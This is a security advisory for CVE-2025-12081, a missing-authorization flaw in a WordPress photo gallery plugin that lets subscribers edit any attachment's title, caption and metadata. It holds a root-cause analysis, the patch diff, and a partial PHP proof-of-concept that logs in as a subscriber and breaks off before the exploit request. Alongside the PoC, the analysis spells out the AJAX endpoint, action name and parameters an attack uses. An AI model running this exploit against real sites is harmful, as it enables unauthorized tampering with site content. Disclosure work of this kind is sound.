Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12081: ACF Photo Gallery Field <= 3.0 – Missing Authorization to Authenticated (Subscriber+) Attachment Metadata Modification (navz-photo-gallery)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.0
Patched Version 3.1
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12081:
The ACF Photo Gallery Field plugin for WordPress, versions up to and including 3.0, contains a missing authorization vulnerability. The flaw allows authenticated attackers with subscriber-level permissions or higher to modify the title, caption, and custom metadata of arbitrary media attachments. This vulnerability stems from an insufficient capability check in the plugin’s AJAX handler for saving gallery edits.

Atomic Edge research identifies the root cause in the `acf_photo_gallery_edit_save()` function within the file `/navz-photo-gallery/includes/acf_photo_gallery_edit_save.php`. The vulnerable function, registered via `add_action( ‘wp_ajax_acf_photo_gallery_edit_save’, ‘acf_photo_gallery_edit_save’ )`, processes POST requests to update attachment metadata. The original code (lines 6-48) only verified a nonce and the presence of an `attachment_id` parameter. It lacked any check for the user’s capability to edit the target post, such as `current_user_can( ‘edit_post’, $attachment_id )`. This omission allowed any authenticated user to pass data to the `wp_update_post()` and `update_post_meta()` functions for any attachment ID.

Exploitation requires an authenticated WordPress session with at least subscriber-level access. Attackers send a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `acf_photo_gallery_edit_save`. The request must include a valid nonce, which is obtainable by a subscriber via the plugin’s interface, and parameters like `attachment_id`, `title`, `caption`, `acf_field_key`, and `acf_field_name`. By manipulating the `attachment_id`, an attacker can target any media library item. The `wp_update_post()` call modifies the attachment’s core fields, while the subsequent loop updates arbitrary custom metadata prefixed with the field name.

The patch, applied in version 3.1, adds a critical authorization check. In the updated `acf_photo_gallery_edit_save.php` file (lines 29-31), the function now validates `if ( ! current_user_can( ‘edit_post’, $attachment_id ) )` before processing updates. This check ensures the user has explicit permission to edit the specified attachment. The patch also improves input sanitization by using `absint()` and `wp_unslash()`, and it replaces `die()` with structured JSON responses. The authorization check directly addresses the missing capability verification that constituted the vulnerability.

Successful exploitation allows attackers to alter the title, caption, and linked custom metadata of any media attachment. This can lead to defacement if modified images are displayed on public sites, data integrity issues, and potential SEO manipulation. While the vulnerability does not grant direct file upload or deletion rights, it enables unauthorized content modification, which can be used in conjunction with other attacks or to spread misinformation. The impact is limited to the data controlled by the plugin’s metadata fields and does not escalate user privileges within WordPress itself.

Differential between vulnerable and patched code

Code Diff
--- a/navz-photo-gallery/includes/__construct.php
+++ b/navz-photo-gallery/includes/__construct.php
@@ -5,8 +5,8 @@

     // vars
     $this->name = 'photo_gallery';
-    $this->label = __('Photo Gallery');
-    $this->category = __("Content",'acf'); // Basic, Content, Choice, etc
+    $this->label = __('Photo Gallery','navz-photo-gallery');
+    $this->category = __("Content",'navz-photo-gallery'); // Basic, Content, Choice, etc
     $this->defaults = array(
         // add default here to merge into your field.
         // This makes life easy when creating the field options as you don't need to use any if( isset('') ) logic. eg:
--- a/navz-photo-gallery/includes/acf_photo_gallery.php
+++ b/navz-photo-gallery/includes/acf_photo_gallery.php
@@ -59,30 +59,28 @@
 }

 function apgf_update_donation(){
-	if(!empty($_GET['nonce']) and wp_verify_nonce($_GET['nonce'], 'acf-photo-gallery-fieldnavz-photo-gallery-nonce') and !empty($_GET['option'])){
-		$option = sanitize_text_field($_GET['option']);
-		if(in_array($option, ['yes', 'no', 'already', 'later'])){
-			global $wpdb;
-			update_option("apgf_donation", serialize(
-				array(
-					"option" => $option,
-					"timestamp" => date('Ymd', strtotime("+30 days"))
-				)
-			));
-		}
+	$nonce = !empty($_GET['nonce']) ? sanitize_text_field(wp_unslash($_GET['nonce'])) : '';
+	$option = !empty($_GET['option']) ? sanitize_text_field(wp_unslash($_GET['option'])) : '';
+
+	if ( $nonce && wp_verify_nonce( $nonce, 'acf-photo-gallery-fieldnavz-photo-gallery-nonce' ) && in_array($option, ['yes','no','already','later'], true) ) {
+		global $wpdb;
+		update_option("apgf_donation", serialize(
+			array(
+				"option" => $option,
+				"timestamp" => gmdate('Ymd', strtotime("+30 days"))
+			)
+		));
 	} else {
 		$option = unserialize(get_option("apgf_donation"));
 		if(is_array($option)){
-			$currTime = date('Ymd');
+			$currTime = gmdate('Ymd');
 			$time = $option['timestamp'];
 			$result = [
 				"show" => ($option["option"] === "later" && current_user_can('administrator') && $currTime > $time) ? true: false
 			];
-			die(json_encode($result));
+			wp_send_json( $result );
 		} else {
-			die(json_encode([
-				"show" => true
-			]));
+			wp_send_json(["show" => true]);
 		}
 	}
 	die();
--- a/navz-photo-gallery/includes/acf_photo_gallery_edit.php
+++ b/navz-photo-gallery/includes/acf_photo_gallery_edit.php
@@ -5,38 +5,43 @@

 function apgf_edit_model(){
 	$apgf = new acf_plugin_photo_gallery();
-	if(!empty($_GET['post_id']) and !empty($_GET['attachment_id']) and $_GET['nonce'] and !empty($apgf->settings['nonce_name']) and wp_verify_nonce( $_GET['nonce'], $apgf->settings['nonce_name'])){
-		$post_id = preg_replace('/D/', '', $_GET['post_id']);
-		$attachment_id = preg_replace('/D/', '', $_GET['attachment_id']);
-		$acf_field_key = sanitize_text_field($_GET['acf_field_key']);
-		$acf_field_name = sanitize_text_field($_GET["acf_field_name"]);
-
-		$post = get_post($attachment_id);
-		if($post->post_type != "attachment"){
-			die(status_header(400, "The post type is not an attachment."));
-		}
-
-		$args = array();
-		$args['title'] = $post->post_title;
-		$args['caption'] = $post->post_content;
-
-		$meta = get_post_meta($attachment_id);
-		$builtin_meta_fields = ['url', 'target'];
-		foreach($builtin_meta_fields as $key){
-			$args[$key] = (!empty($meta[$acf_field_name . "_" . $key]) and !empty($meta[$acf_field_name . "_" . $key][0])) ? $meta[$acf_field_name . "_" . $key][0] : "";
-		}
-
-		$caption_from_attachment = apply_filters('acf_photo_gallery_editbox_caption_from_attachment', $_POST);
-
-		if( $caption_from_attachment == 1 ){
-			$args['caption'] = wp_get_attachment_caption( $attachment_id );
-		}

-		$fields = apply_filters('acf_photo_gallery_image_fields', $args, $attachment_id, $acf_field_key);
+	$post_id = isset($_GET['post_id']) ? absint(wp_unslash($_GET['post_id'])) : 0;
+	$attachment_id = isset($_GET['attachment_id']) ? absint(wp_unslash($_GET['attachment_id'])) : 0;
+	$acf_field_key = isset($_GET['acf_field_key']) ? sanitize_text_field(wp_unslash($_GET['acf_field_key'])) : '';
+	$acf_field_name = isset($_GET['acf_field_name']) ? sanitize_text_field(wp_unslash($_GET['acf_field_name'])) : '';
+	$nonce = isset($_GET['nonce']) ? sanitize_text_field(wp_unslash($_GET['nonce'])) : '';
+
+	if ( $post_id && $attachment_id && $nonce && !empty($apgf->settings['nonce_name']) && wp_verify_nonce( $nonce, $apgf->settings['nonce_name'] ) ) {
+
+        $post = get_post($attachment_id);
+        if ( ! $post || $post->post_type != "attachment" ) {
+            status_header(400);
+            wp_die( esc_html__("The post type is not an attachment.", "navz-photo-gallery") );
+        }
+
+        $args = array(
+            'title'   => $post->post_title,
+            'caption' => $post->post_content,
+        );
+
+        $meta = get_post_meta($attachment_id);
+        $builtin_meta_fields = ['url', 'target'];
+        foreach($builtin_meta_fields as $key){
+            $args[$key] = !empty($meta[$acf_field_name . "_" . $key][0]) ? $meta[$acf_field_name . "_" . $key][0] : "";
+        }
+
+        $caption_from_attachment = apply_filters('acf_photo_gallery_editbox_caption_from_attachment', $_POST);
+
+        if( $caption_from_attachment == 1 ){
+            $args['caption'] = wp_get_attachment_caption( $attachment_id );
+        }
+
+        $fields = apply_filters('acf_photo_gallery_image_fields', $args, $attachment_id, $acf_field_key);
 ?>
 <form method="post">
-	<input type="hidden" name="attachment_id" value="<?php echo $attachment_id; ?>"/>
-	<input type="hidden" name="acf_field_key" value="<?php echo $acf_field_key; ?>"/>
+	<input type="hidden" name="attachment_id" value="<?php echo esc_attr( $attachment_id ); ?>"/>
+	<input type="hidden" name="acf_field_key" value="<?php echo esc_attr( $acf_field_key ); ?>"/>
 	<?php
 		foreach( $fields as $key => $item ){
 			$type = esc_attr($item['type']) ? $item['type'] : null;
@@ -62,7 +67,7 @@
 		<?php } ?>
 		<?php if( $type == 'textarea' ){ ?>
 			<label><?php echo esc_attr($label); ?></label>
-			<textarea class="acf-photo-gallery-edit-field" name="<?php echo esc_attr($name); ?>" rows="3"><?php echo @esc_textarea($value); ?></textarea>
+			<textarea class="acf-photo-gallery-edit-field" name="<?php echo esc_attr($name); ?>" rows="3"><?php echo esc_textarea( $value ); ?></textarea>
 		<?php } ?>
 		<?php if( $type == 'select' ){ ?>
 			<label><?php echo esc_attr($label); ?></label>
--- a/navz-photo-gallery/includes/acf_photo_gallery_edit_save.php
+++ b/navz-photo-gallery/includes/acf_photo_gallery_edit_save.php
@@ -3,47 +3,62 @@
 // exit if accessed directly
 if( ! defined( 'ABSPATH' ) ) exit;

-//Fires off when ediitn the details of the photo
-function acf_photo_gallery_edit_save(){
-	if( wp_verify_nonce( $_POST['nonce'], 'acf-photo-gallery-fieldnavz-photo-gallery-nonce') and !empty($_POST['attachment_id']) ){
-		$acf_field_key = sanitize_text_field($_POST['acf_field_key']);
-		$acf_field_name = sanitize_text_field($_POST['acf_field_name']);
-		$post_id = preg_replace('/D/', '', $_POST['post_id']);
-		$attachment_id = preg_replace('/D/', '', $_POST['attachment_id']);
-		$title = sanitize_text_field($_POST['title']);
-		$caption = sanitize_textarea_field($_POST['caption']);
-
-		$caption_from_attachment = apply_filters('acf_photo_gallery_editbox_caption_from_attachment', $_POST);
-		if( $caption_from_attachment == 1 ){
-			$captionColumn = 'post_excerpt';
-		} else {
-			$captionColumn = 'post_content';
-		}
-
-		wp_update_post(
-			array(
-				'ID' => $attachment_id,
-				'post_title' => $title,
-				$captionColumn => $caption
-			)
-		);
-
-		$unset_fields = ['acf_field_key', 'acf_field_name', 'post_id', 'attachment_id', 'action', 'nonce', 'title', 'caption'];
-
-		foreach($unset_fields as $field){
-			unset( $_POST[$field] );
-		}
-
-		foreach( $_POST as $name => $value ){
-			$name = sanitize_text_field( $name );
-			$value = sanitize_text_field( $value );
-			if( !empty($value) ){
-				update_post_meta( $attachment_id, $acf_field_name . '_' . $name, $value);
-			} else {
-				delete_post_meta( $attachment_id, $acf_field_name . '_' . $name);
-			}
-		}
-	}
-	die();
+// Fires off when editing the details of the photo
+function acf_photo_gallery_edit_save() {
+
+    $nonce = isset($_POST['nonce']) ? sanitize_text_field(wp_unslash($_POST['nonce'])) : '';
+    $attachment_id = isset($_POST['attachment_id']) ? absint(wp_unslash($_POST['attachment_id'])) : 0;
+    $acf_field_key = isset($_POST['acf_field_key']) ? sanitize_text_field(wp_unslash($_POST['acf_field_key'])) : '';
+    $post_id = isset($_POST['post_id']) ? absint(wp_unslash($_POST['post_id'])) : 0;
+    $title = isset($_POST['title']) ? sanitize_text_field(wp_unslash($_POST['title'])) : '';
+    $caption = isset($_POST['caption']) ? sanitize_textarea_field(wp_unslash($_POST['caption'])) : '';
+
+    if ( ! $nonce || ! wp_verify_nonce( $nonce, 'acf-photo-gallery-fieldnavz-photo-gallery-nonce' ) ) {
+        wp_send_json_error( 'Invalid nonce', 403 );
+    }
+
+    if ( ! $attachment_id ) {
+        wp_send_json_error( 'Missing attachment ID', 400 );
+    }
+
+    if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
+        wp_send_json_error( 'Insufficient permissions', 403 );
+    }
+
+    $acf_field = acf_get_field( $acf_field_key );
+    if ( ! $acf_field ) {
+        wp_send_json_error( 'ACF Field not found', 403 );
+    }
+
+    $acf_field_name = $acf_field['name'] ?? '';
+
+    $captionColumn = 'post_content';
+    $caption_from_attachment = apply_filters('acf_photo_gallery_editbox_caption_from_attachment', $_POST);
+    if ( $caption_from_attachment == 1 ) {
+        $captionColumn = 'post_excerpt';
+    }
+
+    wp_update_post([
+        'ID' => $attachment_id,
+        'post_title' => $title,
+        $captionColumn => $caption,
+    ]);
+
+    $unset_fields = ['acf_field_key', 'acf_field_name', 'post_id', 'attachment_id', 'action', 'nonce', 'title', 'caption'];
+    foreach ( $unset_fields as $field ) {
+        unset( $_POST[$field] );
+    }
+
+    foreach ( $_POST as $name => $value ) {
+        $name  = sanitize_text_field(wp_unslash($name));
+        $value = sanitize_text_field(wp_unslash($value));
+        if ( ! empty($value) ) {
+            update_post_meta( $attachment_id, $acf_field_name . '_' . $name, $value );
+        } else {
+            delete_post_meta( $attachment_id, $acf_field_name . '_' . $name );
+        }
+    }
+
+    wp_send_json_success();
 }
-add_action( 'wp_ajax_acf_photo_gallery_edit_save', 'acf_photo_gallery_edit_save' );
+add_action( 'wp_ajax_acf_photo_gallery_edit_save', 'acf_photo_gallery_edit_save' );
 No newline at end of file
--- a/navz-photo-gallery/includes/acf_photo_gallery_remove_photo.php
+++ b/navz-photo-gallery/includes/acf_photo_gallery_remove_photo.php
@@ -1,33 +1,36 @@
 <?php

 // exit if accessed directly
-if( ! defined( 'ABSPATH' ) ) exit;
+if ( ! defined( 'ABSPATH' ) ) exit;

-//Helper function that will remove photo from the gallery
-function acf_photo_gallery_remove_photo(){
-	if( wp_verify_nonce( $_GET['_wpnonce'], 'nonce_acf_photo_gallery') and !empty($_GET['post']) and !empty($_GET['photo']) ){
-		$field = sanitize_text_field($_GET['field']);
-		$post = sanitize_text_field($_GET['post']);
-		$photo = sanitize_text_field($_GET['photo']);
-		$photo = preg_replace('/D/', '', $photo);
-		$id = str_replace('acf-field-', '', sanitize_text_field($_GET['id']));
-		$meta = get_post_meta($post, $id, true);
-		$meta_arr = explode(',', $meta);
-		if( in_array($photo, $meta_arr) ){
-			foreach($meta_arr as $key => $value){
-				if( $photo == $value ){
-					unset($meta_arr[$key]);
-					if( count($meta_arr) > 0 ){
-						$meta_arr = implode(',', $meta_arr);
-						update_post_meta( $post, $id, $meta_arr );
-					} else {
-						delete_post_meta( $post, $id );
-					}
-				}
-			}
-		}
-	}
-	die();
+// Helper function that removes a photo from the gallery
+function acf_photo_gallery_remove_photo() {
+
+	$nonce = isset($_GET['_wpnonce']) ? sanitize_text_field(wp_unslash($_GET['_wpnonce'])) : '';
+	$field = isset($_GET['field']) ? sanitize_text_field(wp_unslash($_GET['field'])) : '';
+	$post = isset($_GET['post']) ? absint(wp_unslash($_GET['post'])) : 0;
+	$photo = isset($_GET['photo']) ? absint(wp_unslash($_GET['photo'])) : 0;
+	$id = isset($_GET['id']) ? str_replace('acf-field-', '', sanitize_text_field(wp_unslash($_GET['id']))) : '';
+
+    if ( wp_verify_nonce( $nonce, 'nonce_acf_photo_gallery' ) && $post && $photo && $id ) {
+
+        $meta = get_post_meta( $post, $id, true );
+        $meta_arr = explode( ',', $meta );
+
+        if ( in_array( $photo, $meta_arr, true ) ) {
+            foreach ( $meta_arr as $key => $value ) {
+                if ( $photo == $value ) {
+                    unset( $meta_arr[ $key ] );
+                    if ( count( $meta_arr ) > 0 ) {
+                        update_post_meta( $post, $id, implode( ',', $meta_arr ) );
+                    } else {
+                        delete_post_meta( $post, $id );
+                    }
+                }
+            }
+        }
+    }
+
+    wp_send_json_success();
 }
-//add_action( 'wp_ajax_nopriv_acf_photo_gallery_remove_photo', 'acf_photo_gallery_remove_photo' );
-add_action( 'wp_ajax_acf_photo_gallery_remove_photo', 'acf_photo_gallery_remove_photo' );
+add_action( 'wp_ajax_acf_photo_gallery_remove_photo', 'acf_photo_gallery_remove_photo' );
 No newline at end of file
--- a/navz-photo-gallery/includes/acf_photo_gallery_save.php
+++ b/navz-photo-gallery/includes/acf_photo_gallery_save.php
@@ -1,39 +1,51 @@
 <?php

-// exit if accessed directly
-if( ! defined( 'ABSPATH' ) ) exit;
+if ( ! defined( 'ABSPATH' ) ) exit;

-//Fires off when the WordPress update button is clicked
-function acf_photo_gallery_save( $post_id ){
-
-	// If this is a revision, get real post ID
-	if ( $parent_id = wp_is_post_revision( $post_id ) )
-	$post_id = $parent_id;
-	// unhook this function so it doesn't loop infinitely
-	remove_action( 'save_post', 'acf_photo_gallery_save' );
-
-	$field = !empty($_POST['acf-photo-gallery-groups'])? $_POST['acf-photo-gallery-groups']: array();
-	$field = array_map('sanitize_text_field', $field );
-
-	if( !empty($field) ){
-		$field_key = sanitize_text_field($_POST['acf-photo-gallery-field']);
-		foreach($field as $k => $v ){
-			$field_id = isset($_POST['acf-photo-gallery-groups'][$k])? sanitize_text_field($_POST['acf-photo-gallery-groups'][$k]): null;
-            if (!empty($field_id)) {
-                $ids = !empty($_POST[$field_id])? array_map('sanitize_text_field', $_POST[$field_id]): null;
-				if (!empty($ids)) {
-                    $ids = implode(',', $ids);
-                    update_post_meta($post_id, $field_id, $ids);
-                    acf_update_metadata($post_id, $field_id, $field_key, true);
-                } else {
-                    delete_post_meta($post_id, $v);
-                    acf_delete_metadata($post_id, $field_id, true);
-                }
+function acf_photo_gallery_save( $post_id ) {
+
+    if ( $parent_id = wp_is_post_revision( $post_id ) ) {
+        $post_id = $parent_id;
+    }
+
+    $nonce = sanitize_text_field( wp_unslash( $_POST['apg_nonce'] ?? '' ) );
+
+    if ( ! $nonce || ! wp_verify_nonce( $nonce, 'nonce_acf_photo_gallery' ) ) {
+        return;
+    }
+
+    remove_action( 'save_post', 'acf_photo_gallery_save' );
+
+	$raw_groups = wp_unslash( $_POST['acf-photo-gallery-groups'] ?? [] );
+    $groups_unslashed = is_array( $raw_groups ) ? array_map( 'wp_unslash', $raw_groups ) : array();
+    $groups = array_map( 'sanitize_text_field', $groups_unslashed );
+
+    $raw_field_key = wp_unslash( $_POST['acf-photo-gallery-field'] ?? '' );
+    $field_key = sanitize_text_field( wp_unslash( $raw_field_key ) );
+
+    if ( ! empty( $groups ) ) {
+        foreach ( $groups as $k => $group_value ) {
+
+            $field_id = sanitize_text_field( $group_value );
+            if ( ! $field_id ) {
+                continue;
+            }
+
+            $raw_ids = wp_unslash($_POST[ $field_id ] ?? array());
+            $ids_unslashed = is_array( $raw_ids ) ? array_map( 'wp_unslash', $raw_ids ) : array();
+            $ids = array_map( 'sanitize_text_field', $ids_unslashed );
+
+            if ( ! empty( $ids ) ) {
+                $ids_string = implode( ',', $ids );
+                update_post_meta( $post_id, $field_id, $ids_string );
+                acf_update_metadata( $post_id, $field_id, $field_key, true );
+            } else {
+                delete_post_meta( $post_id, $group_value );
+                acf_delete_metadata( $post_id, $field_id, true );
             }
-		}
-	}
+        }
+    }

-	// re-hook this function
-	add_action( 'save_post', 'acf_photo_gallery_save' );
+    add_action( 'save_post', 'acf_photo_gallery_save' );
 }
-add_action( 'save_post', 'acf_photo_gallery_save' );
 No newline at end of file
+add_action( 'save_post', 'acf_photo_gallery_save' );
--- a/navz-photo-gallery/includes/aq_resizer.php
+++ b/navz-photo-gallery/includes/aq_resizer.php
@@ -179,8 +179,6 @@
                 return $image;
             }
             catch (Aq_Exception $ex) {
-                error_log('Aq_Resize.process() error: ' . $ex->getMessage());
-
                 if ($this->throwOnError) {
                     // Bubble up exception.
                     throw $ex;
--- a/navz-photo-gallery/includes/elementor_register_tag.php
+++ b/navz-photo-gallery/includes/elementor_register_tag.php
@@ -32,7 +32,7 @@
 * @return string
 */
 public function get_title() {
-	return __( 'ACF Photo Gallery', 'elementor-pro' );
+	return __( 'ACF Photo Gallery', 'navz-photo-gallery' );
 }

 /**
@@ -77,7 +77,7 @@
 	$this->add_control(
 		'Key',
 		[
-			'label' => __( 'Key', 'elementor-pro' ),
+			'label' => __( 'Key', 'navz-photo-gallery' ),
 			'type' => ElementorControls_Manager::SELECT,
 			'groups' => self::get_control_options(),
 		]
@@ -184,7 +184,7 @@
 			// Use group ID for unique keys
 			if ( $has_option_page_location ) {
 				$key = 'options:' . $field['name'];
-				$options[ $key ] = __( 'Options', 'elementor-pro' ) . ':' . $field['label'];
+				$options[ $key ] = __( 'Options', 'navz-photo-gallery' ) . ':' . $field['label'];
 				if ( $is_only_options_page ) {
 					continue;
 				}
--- a/navz-photo-gallery/includes/input_admin_enqueue_scripts.php
+++ b/navz-photo-gallery/includes/input_admin_enqueue_scripts.php
@@ -11,9 +11,9 @@
 // register & include JS
 wp_enqueue_script('jquery-ui-sortable');

-wp_register_script('acf-input-photo_gallery', "{$url}assets/js/acf-photo-gallery-field.js", array('acf-input'), $version);
+wp_register_script('acf-input-photo_gallery', "{$url}assets/js/acf-photo-gallery-field.js", array('acf-input'), $version, false);
 wp_enqueue_script('acf-input-photo_gallery');

 // register & include CSS
-wp_register_style('acf-input-photo_gallery', "{$url}assets/css/acf-photo-gallery-field.css", array('acf-input'), $version);
+wp_register_style('acf-input-photo_gallery', "{$url}assets/css/acf-photo-gallery-field.css", array('acf-input'), $version, false);
 wp_enqueue_style('acf-input-photo_gallery');
 No newline at end of file
--- a/navz-photo-gallery/includes/render_field.php
+++ b/navz-photo-gallery/includes/render_field.php
@@ -14,7 +14,7 @@
         $images_limit = "";

         global $post;
-        $nonce_acf_photo_gallery = wp_create_nonce( 'nonce_acf_photo_gallery' );
+        $nonce = wp_create_nonce( 'nonce_acf_photo_gallery' );
         if( ACF_VERSION >= 4 and ACF_VERSION < 5 ){
             $fieldname = $field['_name'];
             $value = $field['value'];
@@ -33,6 +33,7 @@
 ?>

 <div class="acf-photo-gallery-group-<?php echo esc_attr($key); ?>">
+    <input type="hidden" name="apg_nonce" value="<?php echo esc_attr( $nonce ); ?>" />
     <input type="hidden" name="acf-photo-gallery-edit-modal" value="<?php echo esc_attr($edit_model); ?>" />
     <input type="hidden" name="acf-photo-gallery-groups[]" value="<?php echo esc_attr($field['_name']); ?>"/>
     <input type="hidden" name="acf-photo-gallery-images_limit" value="<?php echo esc_attr($images_limit); ?>"/>
@@ -52,11 +53,12 @@
                 <a class="dashicons dashicons-dismiss" href="#" data-id="<?php echo esc_attr($image); ?>" data-field="<?php echo esc_attr($key); ?>" title="Remove this photo from the gallery"></a>
             <?php } ?>
             <input type="hidden" name="<?php echo esc_attr($field['_name']); ?>[]" value="<?php echo esc_attr($image); ?>"/>
-            <img src="<?php echo wp_get_attachment_thumb_url( $image ); ?>"/>
+            <img src="<?php echo esc_url( wp_get_attachment_thumb_url( $image ) ); ?>"/>
         </li>
         <?php endforeach; else: ?><li class="acf-photo-gallery-media-box-placeholder"><span class="dashicons dashicons-format-image"></span></li><?php endif; ?>
     </ul>
-    <button class="button button-primary button-large acf-photo-gallery-metabox-add-images" type="button" data-field="<?php echo htmlspecialchars(json_encode($field), ENT_QUOTES, 'UTF-8'); ?>">Add Images</button>
+    <button class="button button-primary button-large acf-photo-gallery-metabox-add-images" type="button" data-field="<?php echo esc_attr( wp_json_encode($field) ); ?>">Add Images</button>
+
 </div>

 <?php } ?>
 No newline at end of file
--- a/navz-photo-gallery/includes/v4/create_options.php
+++ b/navz-photo-gallery/includes/v4/create_options.php
@@ -8,8 +8,8 @@
 ?>
 <tr class="field_option field_option_<?php echo esc_attr($this->name); ?>">
     <td class="label">
-        <label><?php _e("Edit modal",'acf'); ?></label>
-        <p class="description"><?php _e("Native lets you delete permanently or select another, but is heavier",'acf'); ?></p>
+        <label><?php esc_html_e("Edit modal", 'navz-photo-gallery'); ?></label>
+        <p class="description"><?php esc_html_e("Native lets you delete permanently or select another, but is heavier", 'navz-photo-gallery'); ?></p>
     </td>
     <td>
     <?php
--- a/navz-photo-gallery/includes/v5/render_field_settings.php
+++ b/navz-photo-gallery/includes/v5/render_field_settings.php
@@ -17,7 +17,7 @@
     $value = !empty($field['fields['.$name]) ? $field['fields['.$name] : [];

     acf_render_field_setting( $field, array(
-        'label'			=> __('Edit modal','TEXTDOMAIN'),
+        'label'			=> __('Edit modal','navz-photo-gallery'),
         'type'          => 'select',
         'name'          => 'fields['.$name.'][edit_modal]',
         'value'         => !empty($value['edit_modal']) ? $value['edit_modal'] : '',
@@ -25,14 +25,14 @@
     ));

     acf_render_field_setting( $field, array(
-        'label'			=> __('Images Limit','TEXTDOMAIN'),
+        'label'			=> __('Images Limit','navz-photo-gallery'),
         'type'          => 'number',
         'name'          => 'fields['.$name.'][images_limit]',
         'value'         => !empty($value['images_limit']) ? $value['images_limit'] : ''
     ));

     acf_render_field_setting( $field, array(
-        'label'			=> __('Remove edit button','TEXTDOMAIN'),
+        'label'			=> __('Remove edit button','navz-photo-gallery'),
         'type'          => 'select',
         'name'          => 'fields['.$name.'][remove_edit_button]',
         'value'         => !empty($value['remove_edit_button']) ? $value['remove_edit_button'] : '',
@@ -40,7 +40,7 @@
     ));

     acf_render_field_setting( $field, array(
-        'label'			=> __('Remove delete button','TEXTDOMAIN'),
+        'label'			=> __('Remove delete button','navz-photo-gallery'),
         'type'          => 'select',
         'name'          => 'fields['.$name.'][remove_delete_button]',
         'value'         => !empty($value['remove_delete_button']) ? $value['remove_delete_button'] : '',
--- a/navz-photo-gallery/navz-photo-gallery.php
+++ b/navz-photo-gallery/navz-photo-gallery.php
@@ -4,7 +4,7 @@
 Plugin Name: ACF Photo Gallery Field
 Plugin URI: http://www.navz.me/
 Description: An extension for Advance Custom Fields which lets you add photo gallery functionality on your websites.
-Version: 3.0
+Version: 3.1
 Author: Navneil Naicker
 Author URI: http://www.navz.me/
 License: GPLv2 or later
@@ -40,13 +40,12 @@

 		function __construct() {
 			$this->settings = array(
-				'version' => '3.0',
+				'version' => '3.1',
 				'url' => plugin_dir_url( __FILE__ ),
 				'path' => plugin_dir_path( __FILE__ ),
 				'elementor_pro_vesion' => $this->get_elementor_pro_version(),
 				'nonce_name' => 'acf-photo-gallery-fieldnavz-photo-gallery-nonce'
 			);
-			load_plugin_textdomain('acf-photo_gallery', false, plugin_basename( dirname( __FILE__ ) ) . '/lang');
 			add_action('admin_enqueue_scripts', array($this, 'acf_photo_gallery_sortable'));
 			add_action('acf/include_field_types', array($this, 'include_field_types')); // v5
 			add_action('acf/register_fields', array($this, 'include_field_types')); // v4
@@ -119,7 +118,6 @@
 					'post_type' => 'acf-field',
 					'orderby' => 'menu_order',
 					'order' => 'ASC',
-					'suppress_filters' => true,
 					'post_parent' => $group['ID'],
 					'post_status' => 'publish',
 					'update_post_meta_cache' => false
@@ -155,23 +153,20 @@

 		function apgf_admin_head()
 		{
-			if(current_user_can('administrator')){
+			if( current_user_can('administrator') ){
 ?>
 		<script>
 			let apgf_show_donation = true;
-			jQuery.get("<?php echo admin_url('admin-ajax.php'); ?>?action=apgf_update_donation", function( data ) {
-				data = JSON.parse(data);
-				if(data){
-					apgf_show_donation = data.show;
-				}
+			jQuery.get("<?php echo esc_url(admin_url('admin-ajax.php')); ?>?action=apgf_update_donation", function( data ) {
+				apgf_show_donation = data.show;
 			});
 		</script>
-<?php
-			}
-?>
-		<script>
-			const apgf_nonce = "<?php echo wp_create_nonce($this->settings['nonce_name']) ?>";
-		</script>
+<?php } ?>
+<?php $screen = get_current_screen(); if ( $screen->base === 'post' ) { ?>
+	<script>
+		const apgf_nonce = "<?php echo esc_js( wp_create_nonce($this->settings['nonce_name']) ); ?>";
+	</script>
+<?php } ?>
 <?php
 		}
 	}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12081 - ACF Photo Gallery Field <= 3.0 - Missing Authorization to Authenticated (Subscriber+) Attachment Metadata Modification

<?php
/**
 * Proof of Concept for CVE-2025-12081.
 * This script demonstrates unauthorized modification of attachment metadata by an authenticated subscriber.
 * Requires valid WordPress subscriber credentials and a nonce from the plugin's interface.
 */

$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS

// Step 1: Authenticate and obtain cookies and nonce.
// The nonce ('acf-photo-gallery-fieldnavz-photo-gallery-nonce') is required.
// In a real scenario, an attacker would extract this nonce from a page where the plugin loads.
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

// Authenticate to WordPress
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$postFields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
$response = curl_exec($ch);

// Step 2: Assume the attacker has obtained a valid nonce (e.g., from a page source).
